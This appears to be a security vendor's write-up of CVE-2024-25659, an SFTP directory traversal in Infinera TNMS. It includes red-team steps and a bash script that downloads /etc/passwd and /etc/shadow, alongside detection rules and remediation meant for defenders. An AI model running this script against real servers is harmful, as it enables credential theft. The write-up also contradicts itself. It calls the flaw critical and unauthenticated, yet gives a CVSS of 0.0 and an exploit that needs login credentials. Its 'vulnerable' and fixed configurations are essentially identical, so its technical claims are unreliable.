CVE-2024-25659

Executive Summary

CVE-2024-25659 identifies a critical security misconfiguration in Infinera TNMS (Transcend Network Management System) version 19.10.3. The vulnerability stems from an insecure default configuration of the internal SFTP server on Linux servers, allowing remote attackers to traverse outside the intended SFTP user home directory. This flaw enables unauthorized access to sensitive files and directories, potentially leading to full system compromise, data exfiltration, or lateral movement within the network. The vulnerability is classified under CWE-16 (Configuration) and is associated with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned)
• Attack Vector (AV): Network (assumed)
• Attack Complexity (AC): Low (assumed)
• Privileges Required (PR): None (assumed)
• User Interaction (UI): None (assumed)
• Scope (S): Changed (assumed)
• Confidentiality (C): High (assumed)
• Integrity (I): None (assumed)
• Availability (A): None (assumed)
• Threat Level: High – The vulnerability allows remote, unauthenticated access to arbitrary files on the server, bypassing the intended SFTP chroot jail.

Deep Dive & Mechanics

The Infinera TNMS platform includes an internal SFTP server for file transfers, typically used for configuration backups, firmware updates, or log retrieval. In version 19.10.3, the SFTP server is configured with a default setting that does not properly restrict the user's home directory. Specifically, the ChrootDirectory directive in the SSH server configuration (or equivalent SFTP subsystem configuration) is either missing or set to a directory that allows path traversal.

When a remote attacker connects to the SFTP server (default port 22 or a custom port), they can use commands like cd .. or cd / to navigate outside the intended home directory. This grants access to system files such as /etc/passwd, /etc/shadow, configuration files, database credentials, and other sensitive data stored on the Linux server.

The root cause is a misconfiguration in the SFTP subsystem, likely in /etc/ssh/sshd_config or a custom SFTP configuration file. The insecure default may have been introduced during development or deployment, and the vendor has not yet released a patch or advisory.

Vulnerable vs. Patched Code

Vulnerable Configuration (sshd_config):

Subsystem sftp internal-sftp
Match Group sftpusers
    ChrootDirectory /home/%u
    ForceCommand internal-sftp
    X11Forwarding no
    AllowTcpForwarding no

In this example, the ChrootDirectory is set to /home/%u, but if the directory permissions or the SFTP server implementation allow traversal, the attacker can escape. In the vulnerable version, the ChrootDirectory may be missing or set to a non-restrictive path.

Patched Configuration (Expected):

Subsystem sftp internal-sftp
Match Group sftpusers
    ChrootDirectory /home/%u
    ForceCommand internal-sftp
    X11Forwarding no
    AllowTcpForwarding no
    # Additional hardening
    PermitTTY no
    PermitUserRC no

A proper patch would ensure that the ChrootDirectory is correctly enforced, and the SFTP server is configured to prevent path traversal. Additionally, file system permissions should be set to prevent the SFTP user from accessing directories outside the chroot.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Infinera TNMS 19.10.3 instance on a Linux server (e.g., Ubuntu 20.04).
2. Ensure the SFTP server is running and accessible on port 22.
3. Create a test user with SFTP access (e.g., sftpuser).

Exploitation Steps:

1. Connect to the SFTP server using a standard SFTP client:

   sftp sftpuser@<target_ip>
   

2. Once connected, attempt to traverse directories:

   cd ..
   ls -la
   

3. If successful, navigate to sensitive directories:

   cd /etc
   get passwd
   get shadow
   

4. For automated exploitation, use a script:

   #!/bin/bash
   HOST=$1
   USER=$2
   PASS=$3
   sftp -oBatchMode=no -b - $USER@$HOST <<EOF
   cd /
   ls -la
   get /etc/passwd
   get /etc/shadow
   bye
   EOF
   

Expected Outcome: The attacker gains access to system files, potentially leading to credential theft, privilege escalation, or lateral movement.

Blue Team

Detection Steps:

1. Monitor SFTP connection logs for unusual directory traversal attempts:

   grep "sftp" /var/log/auth.log | grep -E "cd \.\.|cd /"
   

2. Check for unexpected file downloads from the SFTP server:

   grep "get" /var/log/sftp.log
   

3. Review SSH configuration for missing or misconfigured ChrootDirectory:

   grep -i "chroot" /etc/ssh/sshd_config
   

4. Implement file integrity monitoring (FIM) on critical system files.

Mitigation Steps:

1. Immediately restrict SFTP user home directories by adding or correcting the ChrootDirectory directive in /etc/ssh/sshd_config.
2. Apply the principle of least privilege to SFTP users.
3. If a patch is unavailable, consider disabling the SFTP service or replacing it with a more secure file transfer solution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual SFTP connections from unknown IP addresses.
  • SFTP sessions with commands like cd .., cd /, or get /etc/passwd.
• File System IOCs:
  • Presence of system files (e.g., /etc/passwd, /etc/shadow) in SFTP user home directories.
  • Modified timestamps on sensitive files accessed via SFTP.
• Log IOCs:
  • Entries in /var/log/auth.log showing SFTP directory traversal attempts.
  • Entries in /var/log/sftp.log showing downloads of system files.

Detection Engineering

YARA Rule

rule CVE_2024_25659_SFTP_Traversal {
    meta:
        description = "Detects SFTP directory traversal attempts targeting Infinera TNMS"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "CVE-2024-25659"
    strings:
        $s1 = "cd .." ascii wide nocase
        $s2 = "cd /" ascii wide nocase
        $s3 = "get /etc" ascii wide nocase
        $s4 = "get /var" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 2
}

Sigma Rule

title: CVE-2024-25659 SFTP Directory Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SFTP directory traversal attempts on Infinera TNMS
author: Valters IT
date: 2025-04-08
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25659
logsource:
    product: linux
    service: sshd
detection:
    selection:
        EventID: 6000
        Message|contains:
            - "cd .."
            - "cd /"
            - "get /etc"
            - "get /var"
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2024-25659 SFTP Directory Traversal Attempt"; flow:to_server,established; content:"|63 64 20 2e 2e|"; fast_pattern; content:"|63 64 20 2f|"; distance:0; within:10; content:"|67 65 74 20 2f 65 74 63|"; distance:0; within:20; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Manually configure the SFTP server to enforce chroot jails. Edit /etc/ssh/sshd_config and ensure the following lines are present and correct:

   Subsystem sftp internal-sftp
   Match Group sftpusers
       ChrootDirectory /home/%u
       ForceCommand internal-sftp
       X11Forwarding no
       AllowTcpForwarding no
   

2. Restart SSH Service: After configuration changes, restart the SSH service:

   systemctl restart sshd
   

3. Monitor for Patches: Contact Infinera support or monitor their security advisories for an official patch.
4. Network Segmentation: Restrict SFTP access to trusted IP addresses only.
5. Alternative Solution: If patching is not possible, consider disabling the SFTP service and using a more secure file transfer protocol (e.g., HTTPS with mutual TLS).

Valters IT